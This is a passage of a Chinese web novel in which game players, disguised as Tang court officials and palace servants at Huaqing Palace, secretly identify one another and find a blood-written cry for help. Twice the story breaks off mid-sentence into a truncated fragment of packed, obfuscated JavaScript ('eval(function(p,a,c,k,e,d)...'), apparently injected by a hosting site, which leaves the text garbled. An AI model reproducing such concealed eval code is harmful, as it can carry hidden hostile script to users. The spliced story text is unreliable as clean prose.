行守看着那颜色诡异的药丸,慎重地点了点头。 没等来锅包又,等来了鹤顶红、断肠草、含笑半步癫。 “还有一件事,你要跟你们队的人说一声,如果你们队有人跟其他玩家在一起,最好也通知一下。”祁云纵正色道。 他的表情极其严肃,显然是要说一件不得了的大事,行守也严肃起来,正襟危坐,就看他忽然凭空掏出一个黄鸡大笑头套,放在桌上。 “这个。”祁云纵道,“笑面鬼。” “……” 行守欲言又止,最后终于忍不住问:“你们队的人知道吗?” “不知道。”祁云纵理直气壮,“我这个身份也没法到处乱走,还没来得及说。” 他们俩正说着话,忽然听到窗棂笃笃响了两声,顿时收声警惕起来。 为了防止人设崩塌,行守这里是不留宫人的,按理说不会有人来,两个人说起话来没刻意防备,此刻都有些紧张,转头看向窗檐。 在两人的注视中,那窗框上的油纸慢慢被啄出一个窟窿来,一只胖鹦鹉从窟窿里钻了进来。 鹦鹉丝毫不见外,大摇大摆地飞到桌上,先很不客气地啄了桌上放着的楞梨几口,随后扭头看着祁云纵,口吐人言:“祁云纵,你完了,你完了。头套,乱跑,告诉非姐,告诉非姐。” 这语气一听就是谢不若的,祁云纵啧了一声,指了指桌上的药丸:“这个也好吃,你尝一口。” 鹦鹉瞟了那药丸一眼,扭头猛啄他的手指头。 行守对这鹦鹉还挺感兴趣,把被啄得坑坑洼洼的楞梨递过去,忍不住问:“你主人呢?” 鹦鹉昂首挺胸,非常骄傲:“大官,大官,大官!” “苍天无眼啊!”祁云纵酸了,拿指头戳戳鹦鹉的小胖肚子,“还告诉非姐,谢bro知道非姐在哪?” 鹦鹉得意道:“快了!快了!” 骊山脚下,浩浩荡荡的车马,正在缓缓前行,前后一眼望不到尽头。 这规模庞大的车队,以十六卫打头,随后跟着的是边将文武,天子龙辇被千牛卫车架簇拥着走在最中间,王孙贵戚紧随其后。 仇非骑在马上,眺望不远处的骊山,忽然感觉到一阵恶寒。 她身侧缓行的车辇上,有个文官冷笑道:“听说雁门关终年积雪,没想到苍云将士来到骊山,竟然还会怕冷,看来所谓苦寒之地也不过如此。一支遗部还要耗去朝廷粮饷……” 这人是谁仇非都没怎么记住,听起来像是户部的,她转头冷冷地看了这文官一眼,把他吓得一哆嗦,剩下的话一时间竟然卡住了。反应过来之后,这人脸涨得通红,还想再说什么,身下的车辕却忽然断了一根。 他本身就有点胖,身形不甚灵活,直接咕噜噜从车上滚了下去,摔了个狗啃泥。 “这位大人不愧是户部侍郎,一身好膘,车辕都能压断了。”旁边车辇上,有人懒洋洋地接话,“实在闲得慌,你就跟着车走两步,也算是为朝廷节省饷银了。” 低低的笑声从四面响起,这侍郎摔得眼冒金星,从地上爬起来一瘸一拐地上了车,偏偏还不敢发作。 接话的这个人,论品阶和他同级,却偏偏是个御史中丞,专管着弹劾官员。俗话说,言官张嘴、无常列队,得罪谁也不能得罪言官。 话是这么说,这侍郎在文武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶九溪睁眼说瞎话:“座山雕。”反正不能是海雕。 他们的对话清清楚楚地传到了前面,让众佩刀策马的千牛卫听到了,其中一个就笑道:“这公主邑司令究竟还是见识少了,座山雕头小颈长,哪里是这个样子。” 他本来也是调笑两句,却不想身边的同事竟然一脸理直气壮道:“这就是座山雕。” 一众千牛卫齐齐看他:“真的假的?” “真的。”唐逐星坦然笑道,“你们谁的眼神有我好?” 想想这位在随行考校中百步穿杨的表现,众千牛卫确实无话可说,纷纷闭嘴。 与此同时,有人轻轻叩了叩方叱羽所乘车辇的窗框,声音尖而细长,听起来,应该是个公公。 “起居郎可在?” “请说。”方叱羽立刻道。 “陛下召宰相杨国忠驾前觐见,请起居郎赶紧过去吧。” 起居郎这一职位,专门负责伴随在皇帝身边、记录他的日常言行与国家大事,像召见宰相这等重臣,起居郎一般都要在场。听到这话,他们这辆车立刻便停了,方叱羽道了声好,匆匆了下车,和这位公公向前面皇帝的龙辇去了。 他的手札还摊开了放在车内的小桌上,左右无人,付井仪拿起来翻了两页,想看看方叱羽都是怎么履职的。 “陛下餐后又食。吃笋干一碟,说太咸了,新盐虽好,不可多放,齁。” “陛下饮水半杯,吃金乳酥一个,微撑,说以后半个即可,不要太甜。” “陛下打饱嗝两个,说方才无事发生。” “……”付井仪又默默地将那本手札合上了。 外面有清脆马蹄声传来,又有人赶到车辇前,这次是找他。付井仪的官职并不高,来人对他没有对方叱羽那样恭敬,只是一个例行通知。 “公孙大娘弟子英怀珠已携七秀内坊弟子快马入华清宫,请协律郎速赴梨园排演。” 马车没得坐了,付井仪叹了口气,想了想,还是又提笔蘸墨,按照方叱羽的笔迹在那本手札上给他改了几笔,起码不至于太过离谱。 他下了车,便有人牵过来一匹马,付井仪翻身上马,无意间扫了一眼斜后方的车辇,忽然一愣。 那里是弘文馆学士们的车驾,此时,这些文臣正在高谈阔论、吟诗作对,唯有一人兴致缺缺,将头凑在马车的窗边,一脸羡慕地看着前方骑骏马缓行的仇非。 这人看起来一脸病容,但有点眼熟——不正是李千驰么! 对上付井仪的视线后,李千驰也是一愣,随后眼睛一亮,满脸都写着“救命”。 ——天知道他一个天策为什么会抽到文臣的身份! 付井仪投来一个爱莫能助的眼神,边想着得通知其他人一声李千驰也在,边利落地翻身上马,避开天子御道,疾驰而去。 救命稻草走了,李千驰绝望地以头撞车厢。 “李兄,你的风寒还未痊愈么?” 终于,有人注意到李千驰没有参与吟诗,忧心忡忡地问。 “嘶嘶嘶呃,啊嗯嗯嗯。”李千驰说。 “如此严重……”另一人叹了口气,“唉,李兄扭伤的右手也不知何时能恢复,这梨园宴上,我等文臣论道作赋之盛会,李兄恐怕是赶不上了。” 要的就是这个!要是能说话还能提笔,那不是分分钟就露馅了吗? “哎对对对。”李千驰一时激动,差点说出人话,赶紧找补,“咳咳咳咳!” 他咳得惊天动地,恨不得把两个肺咳出来吐同事脸上,和他同乘一架车的文官怕同染风寒,纷纷变了脸色,迅速找了借口,换乘其他马车去了。 偌大一个车厢顿时只剩李千驰一人,他也不装了,舒舒服服地往后一躺,翘起个二郎腿,掀开车窗上小帘,开始盯着车队看。 这姑娘眼睛真大,眼神灵动,腿也长,一看就脾气好、跑得快。 那个小伙子身形高大健壮,神采奕奕,估计很能吃,一顿几十斤应该不成问题。 他边看边开始走神。闷在车厢里也太难受了,还要装病,幸好和付井仪撞上了,不然不知道什么时候才能把自己在这的消息传递出去。 说起来,还得快点准备些才艺,不然等装病这招没用了,就是人设崩塌的时候了。 才艺……才艺……静夜思?坏了,李白是不是当朝的来着。 李千驰如遭雷击。 唐诗被ban! 在他的郁闷之中,天子车队,终于抵达了华清宫。 这座庞大而华美的宫城大开了所有的城门,鸳鸯瓦在日光下鲜亮明净,重重朱檐间虹光闪烁,花影婆娑,风怀妙丽。 鸣銮彻路,仪卫喧阗,帝王的龙辇缓缓行进了华清宫内。 正如鲜花着锦、烈火烹油,熟悉安史之乱资料片的玩家们都知道,这是玄宗治下最磅礴最壮美的锦绣盛世,也是日薄西山之前,盛唐最后的一点辉光。 31. 第五天·华清宫(三十一) 宫人都被打发去干活了,四下无人,裴洛川快步走到树荫里,从怀中掏出铜镜,照了照,皱起眉头。 这个官真不是人当的,品阶一般也就算了,管得还特别多,从宫殿维护修葺到园林绿化,甚至连皇帝的斗鸡和舞马的食料安排也得考虑到。现在,陛下龙辇到达,工作量凭空翻番,进图不过一天半,他忙得脚不沾地,甚至脸都晒黑了。 裴洛川在这一刻深切地感到了游戏的杀人诛心——在现实中当社畜也就算了,穿越了,竟然还是给大老板打工。 他有点想造反。 这时候,头顶柏树间投下的阴影忽然突兀地动了一下。裴洛川抬起头,发现从茂密的树冠里探出个很眼熟的脑袋,黄澄澄的圆眼睛正盯着他看。 “雕兄?”他差点脱口而出,看了眼附近并没有NPC,便迅速走上前去。 藏在树冠里的正是方叱羽的海雕疾夜,它从喉咙里发出“咕咕”两声,算是回应了裴洛川。 疾夜既然出现在这里,方叱羽肯定就在附近,裴洛川终于能放下一点心来。 作为一个需要满华清宫转的监事,这一天半的时间里,裴洛川见到了很多玩家,有能叫出名字的,也有只是在客栈中混了个眼熟的,可唯独没见到过自己的队友。 他也猜测过,队友们也许会跟随着唐玄宗的车队一起到来,不过那毕竟只是猜测。此刻疾夜出现,无疑相当于给他吃了一记定心丸。 他便问疾夜:“方叱羽在哪儿?他见到其他人了么?” 疾夜动了动,从树冠中伸出一条腿。 在这张图打工久了,裴洛川的第一反应竟然是方叱羽他哥不会也染上了封建主义的恶习,飞累了要让他给捏一下腿吧?不过很快,他就看到疾夜的脚爪上,绑着一小卷纸条。 原来是飞雕传书。 裴洛川展开那张纸条一看,上面画了一堆乱七八糟的小符号。他看了半天,才发现这大概是一份名单,上面画着一个盾,一只小鸡崽,一把伞,一张琴,半个唐门面具,还有两把弯刀。 这张纸条的最底下,还有被草草画上去的一个圆圈,上面支棱着两根须须,一看就是临时加上去的。 从画风来看,是两个人的手笔,但这两个人的画工十分有默契,都很令人沉默。 裴洛川努力无视掉这些简笔画,想了想,这意思大概是说这些人都在一起,很可能还互相确认过身份,不直接写名字,恐怕是担心纸条被人机拿到。 既然信是疾夜送来的,那这伞肯定代表着方叱羽,至于那鸡仔和也许是天策的图案,大概率就是叶九溪和李千驰了。琴和唐门面具可能是指谜语人的付井仪与唐逐星,而盾和弯刀,显然是苍云与明教。 裴洛川看了一遍,心里大概有数了。 他这个宫苑总录监事也不是白当的,这段时间来四处忙碌,见了不少熟悉脸庞,可以确定,这张图里起码有四个队伍。 除了他们队和谜语人之外,那个叫饿了么的队伍也在,苍云应该就是他们队伍里的那个盾娘;而另一支,便是第二天刚开始时,他们就在客栈里遇到过的队伍,给人的印象是高冷又内卷,看起来不太好相处的样子。 明教就是那支队伍里的,不单是明教,那支队伍里的凌雪,裴洛川也在华清宫见过,因为不确定他是不是人机,所以没怎么接触。假如明教指的是这支队伍里的明教,那凌雪就很可能也是玩家了。 再次确认过周围无人,裴洛川从小队背包里拿出炭笔,也开始涂鸦,准备让这帮人见识一下万花弟子高超的画工。 一朵花,代表自己。 一朵蒲公英,代表尚食局司膳,饿了么队的药宗——要不是偶然看到她在团东北大饭包,裴洛川可能还真认不出来。 一把夜话白鹭,闹鬼之夜曾经擦肩而过的医博士剑纯。 一只小蝴蝶,小宫女曲小蕨。 一串佛珠,身份完全没变但是成功给大家看到了他秃头样子的行守大师。 一只小猪,监门卫凌雪。 一只貂,金吾卫霸刀——诶,貂怎么画来着? 哦,还有个至今没看到人、但是在通过鹦鹉传达消息的刀宗,曲小蕨说他叫谢不若,是个非常好记的名字。裴洛川把鹦鹉也画上去,摸了摸疾夜的头,心想我们雕兄虽然不会说话,但也是传递消息的一把好手。 其实梨园里还有一个玩家,但裴洛川只是扫到了一眼,没认出来是谁,便干脆又写了个1在纸上,代表还有个人。 不把玩家名字写清楚,是害怕这张纸条会被人机拿到,但写门派就无所谓了,毕竟大家不能OOC,身上是半点门派特质也不敢外露……除了光头锃亮的行守。 他写完,重新把纸条绑回疾夜腿上,小声叮嘱它注意安全,便看雕兄慢慢地挪进了树冠,片刻之后,呼啦一声,迅速地飞上了天空,张开双翼盘旋了一圈,朝东北方向去了。 东北方向,不就是梨园么? 裴洛川看着它越飞越远,在心里掐指一算,如果是四支队伍的话,还少了几个人。 饿了么队人齐了,他们队伍还差亓秀秀,谜语人队少了尹有攸,而最后一支队伍,衍天、莫问和纯阳都没见到,也不知道什么时候才能和大家接上头。 他还在这想着,余光忽然瞟见有宫人朝这个方向来了,赶紧弯下腰,假装在查看柏树的生长情况。 那宫人跑到近前时,便看到他们的监事抚摸着树干,微微点头:“长得不错。” 亲力亲为到查看每一棵树的生长情况,难怪人家当上总录监事了。 宫人肃然起敬,道:“裴监事,温汤监请您去尚食汤一趟,说是池边台阶有磕碰,需要修葺。” 尚食汤,就是随行内侍们泡澡的地方。作为宫苑总监录事,裴洛川恐怕是最熟悉华清宫的玩家之一了,闻言便点了点头,和宫人往那个方向去了。 他走到一半,忽然想起来,不对啊。 台阶磕了碰了这种小事,随便找个人朝他这报个保修就得了,还得他这个堂堂从五品总录监事亲自去看? 裴洛川顿时就警惕起来。要知道,第五天的规则写得明明白白,人机们是会想方设法让玩家违反角色设定而淘汰的,那个“温汤监”,很有可能来者不善。 尽管心里已经在暗自注意,裴洛川依旧面上不显,在宫人的带领下穿过几道门,来到整个华清宫最中央的中区。 中区的东西两边,都是温泉,其中东边温泉汤池主要是皇帝及嫔妃在用,少而精致,而西边的温泉汤池数量就非常多了,文武百官、内侍乐工,都可以来此休憩。天子已至,这些汤池今晚就该启用了,此刻整个中区也是人来人往,好不热闹。 令裴洛川意外的是,他甚至在这些人里发现了曲小蕨,她正认真地擦着汤池前的台阶,看起来十分努力,那台阶被她擦得比她师父的头顶还要亮堂。 不过,以裴洛川对曲小蕨的了解,她大概是想擦得光滑一些,摔死前来泡澡的封建主义邪恶势力。 可是小蕨,你擦这个是没用的啊……裴洛川默默在心里想,皇帝不泡这种公共大池子,人家有专门的小汤池…… 他找到尚食汤,围着汤池转了一圈,看了看,确实是有需要修葺的地方,倒也不严重,于是便如此这般吩咐下去,这时候就听到旁边传来一阵小小的骚动。 “怎么回事?”他问,便有人前去打听,片刻后回来道:“是温汤监大人,刚在台阶上滑了一跤,便让宫女扶他去后面笋殿歇息了。” “哦,这样啊。”裴洛川点点头,正要离开,忽然觉得不对,急急问道,“哪个宫女?” 宫人答:“刚刚擦台阶那个。” 那不就是曲小蕨么! 裴洛川心里咯噔一下,打发了宫人,便立刻往笋殿去了,还没走到殿前就发觉不对,笋殿中的宫人,竟然都远远地候在外边。 他心下焦急,走到门口,就听见旁边偏殿里传来曲小蕨的声音。 她哀声道:“再给我一次机会吧!” 裴洛川一把推开偏殿大门! 殿内两人齐齐转头看他,曲小蕨朝他挥了挥手,示意赶紧关门,而另外一个人—— 卫山河已经被逼到墙角,看到裴洛川进来,甚至还松了口气。 “最后一次!”曲小蕨对天发誓,“真的最后一次了,问完这次保证不再问了!被祁云纵堵在后厨的时候,你的心理活动到底是怎么样的呢?” “别问了……” 卫山河将目光投向裴洛川身后的偏殿大门,一脸非常想夺门而出的表情。 裴洛川沉默了一会儿,转身把门关了。 “我也想知道。”他真诚地说。 如果再给卫山河一次机会,在人群中看到曲小蕨的第一秒,他就会转身离开。 他被分到的这个身份非常离谱,管理的就是温泉汤池和宫城外的瓜果园。和大部分在东区西区、甚至才进华清宫的人不一样,他从进图起,就愣是没找到离开中区去外面的机会,仅有的一次外出,还是宫里来人说贵妃想吃蒸梨,于是便由他这个温汤监管事带着一群人去宫城外的果园摘冬梨。 不仅一个玩家都没遇到,还踩了一脚泥。 是以,当他在众多宫人之中和曲小蕨对上目光之后,竟然产生一种“终于看到玩家了”的想法,当即就想办法避开NPC,短暂地和她接触了一下。 曲小蕨告诉他,已经有很多玩家互相确认过身份了,而且她还特别提到,以卫山河的职位,很容易就可以联系到另一个人,那个人便是在宫苑总监录事之位上的裴洛川。 他们的职权范围有交叉,平时一起行动,也不会特别显眼。 到目前为止,情况还很正常。为了顺利度过第五天,卫山河决定主动联系裴洛川,于是随便找了个借口让宫人把裴洛川请过来,至于假摔一跤,也是曲小蕨的提议,一切都是为了避开NPC的视线。 当然,如果卫山河能提前知道,过了这么久曲小蕨也依然记得客栈后厨那一幕,并且兴趣依然没有消减半分的话,他也是绝对不会采纳这个提议的。 但他并不是很明白,为什么这个外表看上去挺淡泊文雅的花间,也如此热衷于吃瓜。 此刻,曲小蕨正振振有词道:“我问这个问题,绝对不是为了满足自己的好奇心。主要我们对你们队的了解太少了,一切都是为了以后加深感情、促进合作呀。” 卫山河语塞了半天,冷着脸挤出来一句:“没有感情也可以合作……” “算了。”裴洛川突然良心发现,阻止曲小蕨丧心病狂的行径,“好不容易有独处的机会,我们还是来理一下情报吧。” 还没等卫山河松口气,又听他“善解人意”道:“毕竟你这样为难人家一个社恐也不太好,看看,给人搞得都害羞了。” 卫山河反手从小队背包里摸剑,一边面无表情地想,队伍和队伍之间也不一定非要合作,对吧。 当然,最后三个人还是坐下来,好好交流了一下。虽然曲小蕨极力建议借卫山河摔跤之事,再把另一队当医博士的那个玩家请过来,不过该提议在被卫山河知道那个玩家是祁云纵后一票否决,饿了么队代表遗憾缺席。 “所以看守开阳门的那个凌雪是你们队的殷炽。”裴洛川点点头,“跟着皇帝进来的明教叫陆厌。” “诶,那还有很多人不知道去哪里了。”曲小蕨想了想,掰起手指头,“饿了么的谢不若人不在,只有鹦鹉出现过。洛川哥你们队的话是秀秀姐不在,我们队是还没找到尹有攸,小卫,你们队的祝灵正和师襄都不在呀。” 卫山河已经被迫学会自动无视一些离谱的称呼:“我觉得,第五天给玩家安排的身份,大概也有赛道之分。我们开始就被分在华清宫内的,是内廷、内侍赛道,而跟着皇帝进宫的那一拨人,应该就是朝堂、官场赛道。” 裴洛川忽然灵光一闪:“如果是这样,我们拿的剧本会不会也不相同?他们是权谋文,我们……呃,宫斗?” 听他这么说,曲小蕨双眼放光,卫山河两眼一黑。 裴洛川越想越觉得很有可能,沉思道:“是的,这样的话,就需要我们两拨人在前朝和后宫互相配合,找到所谓的‘鬼’,但那剧情究竟是指什么呢?” “如果是宫斗的话,我会!”曲小蕨踊跃发言,“名台词我都能背过了!” 她微微一笑,小脸上浮现出大胖橘一般的慈祥,对卫山河道:“这华清宫的温泉养人,定不会叫你玉损香消。” “有个问题,是华清宫真的太大了。”卫山河不接她的戏,“也许那些没出现的人和我一样,是因为职务之便,不方便到处走动。” “这个好解决。”裴监事工作经验丰富,“据说过两天皇帝要在华清宫设梨园宴,这段时间宫中应该会全力筹备这个宴会,只要避开天子所在的中区前后殿,应该没有宫人会注意你在干什么。” 曲小蕨出戏回到现实,提醒道:“NPC也许不会注意,但人机会。” “没错。”裴洛川点头,“所以还是要多加注意,不能太过嚣张漏了馅。” 其实,像他们这样长时间停留在笋殿也很奇怪。反正这么一交换情报,各队什么人、在那些位置,基本也就清楚了,三人抓紧时间约好,一旦有什么新的发现,就想办法互相通知,再联系彼此的队友。 毕竟在这种类似于剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“绝无可能。”卫山河斩钉截铁道,他发现,眼看着到了梨园门口,曲小蕨却一点要进去的意思都没有。 “我还没见过你们队的其他人呢。”果不其然,就听见她说,“一起认识认识嘛。” “殷炽脾气不好,很凶。”卫山河道,“我怕他吓着你。” “没关系,我胆子贼大,而且早晚也是要见面的嘛。”曲小蕨催他,“走走走,别在这里停久了。” 卫山河心说殷炽,我努力过了。 他们来的这个时间很妙,恰好是监门卫值守换班的时间,本来殷炽要先换值的,远远看到卫山河,愣了一下,便让同事先离开了。 同事心怀感激地走了,一边走一边想,这可真是个好人。 偌大的宫城,当然不会只有两个人守门,实际上宫墙之上每隔二十几步便设有一处值卫点,不过这距离卡得刚好,其他监门卫最多只能看见温汤监管事带着宫人在这里站了一会儿,别的却是一概不知了。 城门下,曲小蕨瞪大眼睛看着这俩人打招呼。说是打招呼,其实就是互相点了个头,嗯了一声。 “怎么样。”卫山河说。 殷炽回答:“明天要被换到中区内城城门了。” “我就在中区,温汤监,养护汤池的。” “可以。”殷炽说。他看向卫山河身后,曲小蕨他当然也是认识的,唯一的小孩子,在客栈里是非常显眼的存在。此刻她的目光十分灼热,存在感强烈,殷炽没法再当没看见了,以眼神示意卫山河赶紧介绍。 “曲小蕨,谜语人离开浪客行队的。”卫山河干巴巴地说,“她的活动范围比较自由,你们可以认识一下。” “你好你好。”曲小蕨深沉道,“你不笑,是你生性就不爱笑吗?” 如果殷炽眼中的问号能够化作实体,卫山河觉得自己的脑袋此刻大概已经被砸穿了。 接下来的时间里,他们俩就听着曲小蕨跟个小豌豆射手一样突突突突突地详细介绍完了所有他们认识的和不认识的人,全程只来得及点头或者摇头。 殷炽面无表情地看着卫山河。 卫山河眼神游移。 当然,必要的情报还是要交换的。等曲小蕨说完了,殷炽便道:“梨园有我们队的师襄,是琴师。” “好的好的,有什么话需要我带给她吗?”曲小蕨积极举手。 两人思考了一下,好像也没什么可说的,便道:“没有。” “……你们真的是队友吗?”曲小蕨有点迷惑,想了想,没搞懂,还是和他们道了别,往梨园去了。 两个人目送她以非常贴合宫女的姿态唯唯诺诺地小步挪远了,一时间不知道说什么好。 “不可小觑。”殷炽最后道。 卫山河点头表示赞同,又问殷炽:“你没见过祝灵正?” “没有。”谈到下落不明的队友,话题顿时变得严肃起来,殷炽说,“也许在皇帝的车队里,刚到。” “陆厌也在车队里,但是他们说,从车队里传出来的名单上没有祝灵正。”卫山河说。 两个人都不说话了,各自思考了一会儿,直到一队巡逻的金吾卫经过开阳门,带头的正是骑曹参军事,柳七刀。 卫山河这个温汤监虽然只是正七品,在满地达官显贵的华清宫数不着,但好歹也是个官,比柳七刀还大点儿,金吾卫们看到他站在这里,便纷纷行礼。 柳七刀认得卫山河,毕竟是祁云纵剑纯行为的受害者。过了这么久,他也有点儿当领导的模样了,当即便轻咳了两声,挥挥手,让属下们继续往前走,自己装模作样地去检查开阳门的城门和城墙。 眼看着金吾卫们走远了,他便热情对卫山河道:“我刚刚巡逻碰见曲四郎了,她跟我说你在这边,我特地过来看一眼。” “哦,好的。”卫山河不知道说什么,艰难道,“我平时在中区。” 殷炽已经双眼放空,在思考曲四郎又是哪位。 “好,也没什么大事,那我就先走了。我住在讲武殿,东区和西区都会巡逻,梨园宴那天应该会被调到中区。”柳七刀想了想,又说,“如果你们有急事,也可以呼叫谢不若的鹦鹉,如果它恰好在附近,吹个口哨就会过来了。” 这确实是一个非常实用的传递情报的方式,卫山河愣了一下,道:“啊,多谢。” “谢什么,大家都是好兄弟。”柳七刀大力拍了拍他的肩膀,“你们剩下的那个队友,我也会帮忙留意的!” 丢下这句话,他便小跑着去追同事了。 殷炽看着柳七刀的背影,便道:“他们人都很好。” “确实。”卫山河揉着自己被拍麻了的肩膀。 32. 第五天·华清宫(三十二) 数朵桃花随风飘落在水面上,泛起微微几圈涟漪,模糊了水中倒映出的、随乐声翩翩起舞的身影。 乐师台四面环水,在梨园之南,紧挨南缭墙,是梨园各乐师及诸乐部伎子弟平日练习之地。此刻,这方高台四周围满了人,而高台中央是一个身材高挑、面容英丽的七秀弟子,正在赤足舞剑。 七秀坊的剑舞绮美而不失凛冽,出剑如玉虹贯日,收剑如海雾沉月。这七秀弟子愈舞愈快,手上足上的金饰互相碰撞,叮叮咚咚地响成一片,手中双剑青光胜电,疾影若霜;四名乐师分坐四旁为这支剑舞奏乐,舞步越来越快,乐声也越来越激昂,隐隐有山摧海倾之势。 不消片刻,但见那七秀弟子手腕一翻,双剑在空中挽出几个银光闪烁的剑花,速度逐渐慢了下来,乐声也随之渐缓渐沉,恰如清泉出山、春雨淅沥,台边顿时响起一片喝彩声。 那七秀弟子收了剑,在高台中央款款四顾,唇含微笑。虽然鬓边见汗,但她依旧神采奕奕,面上隐隐有几分傲气,步伐轻盈地下了台,走向乐师台另一侧等候她的几个同门。 看她下去了,梨园弟子中便隐隐响起讨论声。 “不愧是公孙大娘亲自传授的剑舞,果然令人见之难忘。” “难怪人家英姑娘现在已经是梨园代教习了,你我还只是普通舞伎。” 这以一支剑舞赢得满堂喝彩的,便是梨园代教习英怀珠。她本来留在长安,这次是为梨园宴特地赶赴华清宫的,还带来了几个擅舞的同门师妹助阵。 有宫人为英怀珠递上擦汗的帕子,她随手接了,便看见有个师妹正仰头看着南缭墙外,不由得挑了挑眉。 刚刚跳的这支剑舞是公孙二娘亲自传授,每每起舞于人前,必能震惊四座,令人目不转睛,这师妹却不知道在出什么神。 英怀珠顺着师妹的目光望去,却只听到一阵羽翼扑扇的声音。 “秀秀,你看什么呢?”她笑问道。 被她叫到的那个师妹,正是亓秀秀。听见英怀珠这么问,亓秀秀收回目光,不好意思道:“刚刚好像有只猫在扑鸟,就多看了两眼。” 英怀珠微微一笑:“华清宫不比外面,在这儿可不要时时走神了。” “知道了。”亓秀秀点头答应,趁英怀珠转身,悄悄将手心里的小纸条藏了起来,准备一会儿再看。 即使是现在,她还有点后怕,心说乐师台这么多人,方叱羽那雕兄就敢往房顶上落,也不想想在京郊出现这么大一只海雕是多么奇怪,还好自己站在人群最外围,注意得快,及时接过了传信。 现下,半个华清宫都在忙着筹备梨园宴,英怀珠短暂休息了一会儿后,又上台指导其他舞伎去了,亓秀秀趁这个空当,站到一株桃树后面,借繁花茂叶遮挡,展开手心纸条。 入眼就是一堆奇形怪状的涂鸦。 “……”她看了半天,艰难地把这些涂鸦和自己能想起来的人挨个对号入座。 看这笔迹有新有旧,似乎玩家们被分成了不同的几批,最新的那部分最好辨认,一看就是裴洛川的手笔——其他图案都是简笔画,只有最上面那朵花是工笔细描,十分符合这个人自恋的作风。 看来,这份名单是方叱羽递给裴洛川、又被裴洛川加以修改,才传到她手里来的。 亓秀秀这么想着,随手将纸条一叠,却发现这张皱巴巴的纸条背后似乎还有字。 她展开一看,顿时愣住了,背后寒意乍起。 那纸条背后,竟然是一个用血写成的、歪歪扭扭的“救”字。 看这血迹颜色鲜艳,还十分新鲜,肯定是刚写下不久。 谁在求救? 同门师姐妹笑着叫她上台排演,亓秀秀应了声好,将纸条攥在手心,心如擂鼓。 她一边跟着NPC调整自己的站位,一边迅速回忆,疾夜是从哪个方向过来的。 ……是梨园,就是梨园。 那时候,她应该是看到疾夜在某间房顶停留了很久,因为隔了一段距离,她还想着那只大鸟有些像方叱羽的雕兄;正因如此,在疾夜飞过来的时候,她才能迅速反应过来,在其他人被剑舞吸引之时趁机取下纸条,让它飞离。 所以,那个玩家是谁?又遇到了什么危险? 今天明明是阳光灿烂的晴好天气,梨园一副花明水净、碧瓦红墙的美景,现在在亓秀秀眼中,却变得有些阴森了起来。 就在这里,就在这重重宫墙掩映之下、梨园内的众多殿宇之间,还有另一个玩家,正在求救。 与此同时,另一批乐师,正在从梨园内鱼贯而出,向宫城外的按歌台走去。 师襄也在其中,她背着一张琴,怀中还抱了一把琵琶。那个“见鬼”的小乐师走在她旁边,叽叽咕咕地跟她说话。 “今天英教习回来了,好多舞伎都松了一口气呢,之前那个王教习真的太凶啦。听说,但凡有人跳得不好了、或者身材不合她的意了,她就把人锁在梨园最里面那间屋子的东厢,不让吃饭不让睡觉的。” 说到这里,小乐师后怕道:“听说逼疯了好几个舞伎,都被她悄悄送出宫随便打发了。” 听到她这么说,师襄皱起眉:“既然英怀珠回来了,那王教习现在在哪?” 小乐师嘿嘿一笑:“英代教习一回来,就把那老妖婆赶走了,估计这会儿人都到山下啰。” “这样。”师襄点点头,回头看了一眼。 那间被用来惩罚乐部伎子弟的屋子位置偏僻,平时都没有人去,连月门都被疯长的草木花树遮得很严实,就连负责看守的宫人也经常擅自离开,去别的地方偷懒。这么远远地望过去,在梨园众多殿宇中根本分辨不出来是哪间屋子,只能看见大片大片连在一起的流光溢彩的鸳鸯瓦。 她还依稀记得,那间厢房门上总是一把重锁,连窗户都被木楔钉死,只能推开一条缝,无论白天黑夜都伸手不见五指,只有二楼阁楼,才能见一丝光亮。 “姐姐,你在想什么呢?”小乐师好奇道。 “没事。”师襄淡淡说,调整了一下怀中琵琶的位置,和其他乐师一起,目不斜视地穿过了开阳门。 随着这批乐师的离去,梨园北部恢复了安静,只有风吹过树丛时发出的细微窸窣声,和偶尔零星几声鸟叫。从南侧乐师台传来隐约的歌舞声,听来十分遥远,好像在另一个世界。 不多时,那众多阁楼中的一间,忽然传来一阵响动,那是一扇被拉开了一点儿的木窗,留出的缝隙十分狭小,连阳光都照不进去。 只见那黑漆漆的缝隙内,突然艰难地伸出一只手来。 这只手骨节分明,手指修长,掌心覆着一层薄茧,但看起来无比苍白。它抓住窗边开得正盛的桃花花枝,五指收紧,指尖上顿时就沾上了淡粉的花汁。 桃花灼灼,这只手的主人却似乎毫无爱怜之情,只是连枝带叶、非常粗暴地抓了一把花瓣下来,又缩回了窗内。 再看那窗边的桃树,已经有数根花枝像这样被采得光秃秃的,不剩几朵花了。 “你们俩怎么又在这?” 梨园二道回廊门口,距离那小阁楼很远的地方,抱着花篮路过的宫女随口问两个正在花阴下闲聊的看守宫人。 “哎,那里面阴森森的,太吓人了。”其中一个看守抱怨道,“你又不是不知道,那个王教习在那边害死过多少她看不顺眼的舞伎和乐师,谁在那种地方呆得下去?” “是吧,就刚刚,我还看到有个影子在那窗口上,跟个大鸟似的,我还往里走了两步想看清楚点,结果一眨眼它就没了。”另一个看守绘声绘色地补充。 “哎,你们说,之前这梨园不就闹鬼吗?会不会……” “说什么呢。”那宫女有些害怕,赶紧打断了他们的对话,“圣人都到了,还说这种话,我看你们俩是不想要脑袋了。” 说罢,她便匆匆地走了。 两个看守宫人一琢磨,这话是说得不对,便也不再提闹鬼的事,只是闲聊起来。 “不过这次总算是把那教习给赶走了。” “嚯,听说是直接轰走的呢,东西都没给她带,就一个小包袱,直接扔下山了。” “走了也好,省得继续在这磋磨人,看看都害死多少了。” “别提那晦气事了。哎,你知道这次英教习回来是为了啥吧?听说咱们这边要摆梨园宴……” 